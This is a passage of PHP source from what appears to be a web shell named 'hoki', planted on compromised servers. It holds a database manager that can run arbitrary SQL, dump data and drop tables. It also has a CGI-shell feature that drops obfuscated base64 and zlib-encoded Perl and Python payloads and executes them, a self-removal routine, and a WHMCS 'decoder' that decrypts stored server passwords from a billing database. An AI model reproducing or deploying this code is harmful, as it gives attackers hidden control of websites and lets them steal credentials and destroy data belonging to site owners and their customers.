echo "</ul></div><div class='mysql-query-results'><div class='mysql-query-result-tabs'><div class='db-opt-id mysql-query-selected-tab' target='.mysql-query-result-content' onclick='hokiMysqlTabCtl(this);'>Result</div><div class='db-opt-id' target='.mysql-query-form' onclick='hokiMysqlTabCtl(this);'>Query</div><div class='db-opt-id' target='.mysql-search-area' onclick='hokiMysqlTabCtl(this);'>Search</div><div class='db-opt-id' target='.mysql-structure' onclick='hokiMysqlTabCtl(this);'>Structure</div><div class='db-opt-id' target='.mysql-insert-row' onclick='hokiMysqlTabCtl(this);'>Insert</div><div style='display:none;' class='db-opt-id' target='.mysql-edit-row' onclick='hokiMysqlTabCtl(this);'>Edit</div></div><div class='mysql-query-content mysql-insert-row mysql-hide-content'></div><div class='mysql-query-content mysql-edit-row mysql-hide-content'></div><div class='mysql-query-content mysql-search-area mysql-hide-content'></div><div class='mysql-query-content mysql-structure mysql-hide-content'></div><div class='mysql-query-content mysql-query-form mysql-hide-content'><div style='margin-bottom: 5px;'><span>Query:</span></div><textarea name='query' style='width:90%;height:100px'></textarea><p><div style='float:left;margin-left: 30px;'><input class='button db-opt-id' db_target='".$_POST['sql_base']."' onclick='hokiMysqlQuery(this);return false;' type='submit' value=' '></div></p></div><div class='mysql-query-content mysql-query-result-content'><div class='mysql-query-result-header'><div style='margin-bottom: 10px;' class='mysql-query-reporter'></div><div class='mysql-query-pager'></div></div><div class='mysql-query-table'></div></div></form></td></tr>";
}
echo "</table></div>";
echo "</div>";
}else{
echo htmlspecialchars($db->error());
}
echo '</div>';
hokifooter();
}
function hokiSql_manager_api(){
$db = $_POST["hoki1"];
$type = $_POST["hoki2"];
$sql_count = $_POST["hoki3"] == "true" ? true : false;
$db = @json_decode($db, true);
$conn = @mysqli_connect($db["host"], $db["user"], $db["pass"], $db["db"]);
@mysqli_set_charset($conn, "utf8");
if($conn){
if($type == "load_all_tables"){
$tables = array();
$q_tables = @mysqli_query($conn, "SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN ('".implode("','", $db["databases"])."');");
$count = 0;
while($row = @mysqli_fetch_assoc($q_tables)){
if($sql_count){
$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row["table_schema"].'`.`'.$row["table_name"].'`');
if($count_q){
$count = @mysqli_fetch_row($count_q);
$count = $count[0];
}
}
$tables[$row["table_schema"]][] = array("name" => $row["table_name"], "count" => (int)$count);
}
foreach($db["databases"] as $db){
if(!isset($tables[$db])){
$tables[$db] = null;
}
}
echo @json_encode($tables);
}elseif($type == "dump_drop"){
if($db["mode"] == "drop"){
foreach ($db["tables"] as $table) {
@mysqli_query($conn, "DROP TABLE `".$table."`;");
}
$tables = array();
$q_tables = @mysqli_query($conn, "SHOW TABLES;");
$count = 0;
while($row = @mysqli_fetch_array($q_tables)){
if($sql_count){
$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');
if($count_q){
$count = @mysqli_fetch_row($count_q);
$count = $count[0];
}
}
$tables[] = array("name" => $row[0], "count" => (int)$count);
}
echo @json_encode($tables);
}else{
if(strlen(hokiEx("mysqldump"))>0){
hokiEx("mysqldump --single-transaction --host=\"".$db["host"]."\" --user=\"".$db["user"]."\" --password=\"".$db["pass"]."\" ".$db["db"]." ".implode(" ", $db["tables"])." > ".$db["dump_file"]);
}else{
$fp = @fopen($db["dump_file"], "w");
foreach ($db["tables"] as $table) {
$res = @mysqli_query($conn, 'SHOW CREATE TABLE `'.$table.'`');
$create = @mysqli_fetch_array($res);
$sql = "DROP TABLE IF EXISTS `".$table."`;
" . $create[1].";
";
if($fp) fwrite($fp, $sql); else echo($sql);
$tbl_data = @mysqli_query($conn, 'SELECT * FROM `'.$table.'`');
$head = true;
while($item = @mysqli_fetch_assoc($tbl_data)){
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "''";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysqli_real_escape_string($conn, $v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES
(".implode(", ", $item).')';
$head = false;
} else
$sql = "
,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
}
if(!$head)
if($fp) fwrite($fp, ";
"); else echo(";
");
}
}
echo @json_encode(array("status" => true, "file" => $db["dump_file"]));
}
}elseif($type == "load_tables"){
$tables = array();
$q_tables = @mysqli_query($conn, "SHOW TABLES;");
$count = 0;
while($row = @mysqli_fetch_array($q_tables)){
if($sql_count){
$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');
if($count_q){
$count = @mysqli_fetch_row($count_q);
$count = $count[0];
}
}
$tables[] = array("name" => $row[0], "count" => (int)$count);
}
echo @json_encode($tables);
}elseif($type == "alter"){
$db["alter"]["type"] = strtolower($db["alter"]["type"]);
$inputs = $db["alter"]["type"]."(".$db["alter"]["input"].")";
$text_input = array("longtext", "text", "mediumtext", "tinytext");
if(in_array($db["alter"]["type"], $text_input)){
$inputs = $db["alter"]["type"];
}
@mysqli_query($conn, "ALTER TABLE `".$db["table"]."` MODIFY COLUMN `".$db["column"]."` " . $inputs);
$error = @mysqli_error($conn);
if($error){
echo $error;
}else{
echo "ok";
}
}elseif($type == "edit" || $type == "delete" || $type == "delete_all"){
if($type == "edit"){
$q = @mysqli_query($conn, "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` = '".addslashes($db["key"])."' LIMIT 0,1");
$row = @mysqli_fetch_assoc($q);
if($row){
$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'");
$columns = array();
$edit_data = array();
while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
$input = array("col_type" => $row2["COLUMN_TYPE"]);
$row2["type"] = strtolower($row2["type"]);
switch($row2["type"]){
case "longtext": case "text": case "mediumtext": case "tinytext":
$input["tag"] = "textarea";
break;
case "int": case "smallint": case "bigint": case "tinyint": case "mediumint":
$input["tag"] = "input";
$input["type"] = "number";
break;
default:
$input["tag"] = "input";
$input["type"] = "text";
}
$columns[$row2["name"]] = $input;
}
foreach($row as $key => $v){
$edit_data[] = array("col" => $key, "value" => htmlspecialchars($v, ENT_QUOTES, 'UTF-8'), "type" => $columns[$key]);
}
echo @json_encode($edit_data);
}
}else{
if($type == "delete_all"){
$rows = implode("', '", $db["rows"]);
}else{
$rows = addslashes($db["key"]);
}
$query = "DELETE FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` IN ('".$rows."')";
@mysqli_query($conn, $query);
$error = @mysqli_error($conn);
if($error){
$status = false;
}else{
$status = true;
}
echo @json_encode(array("status" => $status, "error" => $error, "query" => $query));
}
}elseif($type == "update"){
$query = "UPDATE `".$db["db"]."`.`".$db["table"]."` SET ";
foreach($db["data"] as $col => $val){
$query .= "`".$col."` = '".mysqli_real_escape_string($conn, $val)."',";
}
$query = substr($query, 0, -1);
$query .= "WHERE `".$db["col_key"]."` = '".$db["key"]."'";
$res = @mysqli_query($conn, $query);
echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
}elseif($type == "insert"){
$query = "INSERT INTO `".$db["db"]."`.`".$db["table"]."` ";
foreach($db["data"] as $col => $val){
$cols .= $col . ",";
$vals .= "'".mysqli_real_escape_string($conn, $val)."',";
}
$cols = substr($cols, 0, -1);
$vals = substr($vals, 0, -1);
$query = $query . "(" . $cols . ")" . "VALUES(" . $vals . ")";
$res = @mysqli_query($conn, $query);
echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
}else{
$pages = 0;
$title = false;
$query = "";
$tbl_content = '<table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
$line = 0;
$tables = array();
$columns = array();
if($type == "load_data"){
$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT 0,30";
$tbl_count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `".$db["db"]."`.`".$db["table"]."`");
$tbl_count = @mysqli_fetch_row($tbl_count_q);
$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'");
while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
$columns[] = $row2;
}
if($tbl_count[0] > 30){
$pages = ceil($tbl_count[0] / 30);
}
}elseif($type == "query"){
$query = $db["query"];
}elseif($type == "page"){
$db["page"] = (int)$db["page"] - 1;
$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT ".($db["page"]*30).",30";
}elseif($type == "search"){
$search = "";
$search_noval = array("= ''", "!= ''", "IS NULL", "IS NOT NULL");
foreach($db["search"] as $col => $val){
$search_noval_r = in_array($val["opt"], $search_noval);
if(empty($val["value"]) && !$search_noval_r)continue;
if(strstr($val["opt"], "...") || $search_noval_r){
$val["opt"] = str_replace("...", $val["value"], $val["opt"]);
$search .= $col . " " . $val["opt"] . " AND ";
}else{
$search .= $col . " " . $val["opt"] . " '".addslashes($val["value"])."' AND ";
}
}
$search .= "1=1";
$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE " . $search;
}
$q_tables = @mysqli_query($conn, $query);
if(!$q_tables){
echo @json_encode(array("status" => false, "error" => @mysqli_error($conn), "query" => $query));
return false;
}
$col_key = @mysqli_query($conn, "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '".@addslashes($db["db"])."' AND TABLE_NAME = '".@addslashes($db["table"])."' AND COLUMN_KEY = 'PRI'");
if($col_key){
$col_key = @mysqli_fetch_row($col_key);
$col_key = $col_key[0];
if(!empty($col_key)){
$tbl_content = '<div style="margin-bottom:5px;margin-top:5px;"><button col_key="'.$col_key.'" tbl_name="'.$db["table"].'" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" onclick="hokiMysqlDeleteAllSelectedrows(this);return false;">Delete Selected Rows</button></div><table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
}
}else{
$col_key = false;
}
while($item = @mysqli_fetch_assoc($q_tables)){
if(!$title){
$tbl_content .= '<tr style="background-color:#305b8e;">';
if($col_key){
$tbl_content .= '<th style="width: 55px;text-align:center;"><input db_id="'.$db["db_id"].'" onchange="hokiMysqlTblSelectAll(this);" type="checkbox"></th><th style="width: 55px;text-align:center;">Edit</th><th style="width: 55px;text-align:center;">Delete</th>';
}
foreach($item as $key => $value){
$tbl_content .= '<th>'.$key.'</th>';
}
reset($item);
$title=true;
$tbl_content .= '</tr><tr>';
}
if($col_key){
$cacheMsg = '<td style="text-align:center;"><input row_id="'.$line.'" type="checkbox" name="tbl_rows_checkbox[]" value="'.$item[$col_key].'"></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" tbl_name="'.$db["table"].'" col_key="'.$col_key.'" key="'.$item[$col_key].'" onclick="hokiMysqlEditRow(this, \'edit\');" style="color:#0acaa6;">Edit</a></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" tbl_name="'.$db["table"].'" col_key="'.$col_key.'" key="'.$item[$col_key].'" row_id="'.$line.'" onclick="hokiMysqlEditRow(this, \'delete\');" style="color:#ff1e1e;">Delete</a></td>';
}
$tbl_content .= '<tr class="tbl_row tbl_row_l'.$line.'">'.$cacheMsg;
$line++;
foreach($item as $key => $value){
if($value == null){
$tbl_content .= '<td><i>null</i></td>';
}else{
$tbl_content .= '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
}
$tbl_content .= '</tr>';
}
$tbl_content .= '</table>';
if(!$title){
$tbl_content = "<div style='padding:5px;border:1px dashed;margin:10px;'>Table is empty...</div>";
}
echo @json_encode(array("status" => true, "table" => $tbl_content, "columns" => $columns, "pages" => $pages, "query" => $query));
}
@mysqli_close($conn);
}
}
function hokiselfrm(){
if(isset($_POST['hoki1'])&&$_POST['hoki1']=='yes'){
echo(__pre().'<center>');
if(@unlink($GLOBALS['__file_path'])){
echo('<b>Shell has been removed</i> :)</b>');
}else{
echo 'unlink error!';
}
echo('</center>');
}
if(isset($_POST['hoki1'])&&$_POST['hoki1']!='yes'){
echo "<div class=header>";
echo "
<center><p><img src=\"pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png\"></p>";
echo '<p><div class="txtfont">Do you want to destroy me?!</div><a href=javascript:void(0) onclick="g(\'selfrm\',null,\'yes\');"> Yes</a>';
echo '</p></center></div>';
}
}
function hokicgishell(){
hokihead();
$div = "";
hokiCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __HOKI_DATA_FOLDER__);
if(!in_array($_POST['hoki1'],array('perl','py'))){
$div = "</div>";
echo '<div class=header><center><p><div class="txtfont_header">| CGI Shell |</div></p><h3><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\'perl\')">| Perl | </a><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\'py\');">| Python | </a>';
}
if(isset($_POST['hoki1'])&&in_array($_POST['hoki1'],array('perl','py'))){
@mkdir('cgihoki',0755);
@chdir('cgihoki');
hokicgihtaccess('cgi');
$name = $_POST['hoki1'].'.hoki';
$perl = '#!/usr/bin/perl -I/usr/local/bandmin'."
".'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("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")));';;
$py = '#!/usr/bin/python'."
import zlib, base64
".'eval(compile(zlib.decompress(base64.b64decode("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")),\'<string>\',\'exec\'))';
if($_POST['hoki1']=='perl'){$code = $perl;}else{$code = $py;}
if(__write_file($name,$code)){
@chmod($name,0755);
echo '<iframe src="'.__HOKI_DATA_FOLDER__.'/cgihoki/'.$name.'" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>';
}
}
echo $div;
hokifooter();
}
function hokiWhmcs(){
hokihead();
echo '<div class=header>';
function decrypt($string,$cc_encryption_hash){
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash($key);
$hash_length = strlen ($hash_key);
$string = __ZGVjb2Rlcg($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash($string)
{
if(function_exists('sha1'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = '';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
HokiNum(8,9,10);
echo "<center><br><div class='txtfont_header'>| WHMCS DeCoder |</div><p>".getConfigHtml('whmcs')."</p><form onsubmit=\"g('Whmcs',null,this.form_action.value,'decoder',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\">
<input type='hidden' name='form_action' value='2'>";
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'cc_encryption_hash : ', 'inputName' => 'cc_encryption_hash', 'id' => 'cc_encryption_hash', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<p><input type='submit' value=' ' name='Submit'></p></form></center>";
if($_POST['hoki5']!=''){
$db_host=($_POST['hoki7']);
$db_username=($_POST['hoki3']);
$db_password=($_POST['hoki4']);
$db_name=($_POST['hoki5']);
$cc_encryption_hash=($_POST['hoki6']);
echo __pre();
$conn=@mysqli_connect($db_host,$db_username,$db_password,$db_name) or die(mysqli_error($conn));
$query = mysqli_query($conn,"SELECT * FROM tblservers");
$num = mysqli_num_rows($query);
if ($num > 0){
for($i=0; $i <=$num-1; $i++){
$v = @mysqli_fetch_array($query);
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td><b><font color=\"#FFFFFF\">Type</font></td><td>$type</td></tr></b>");
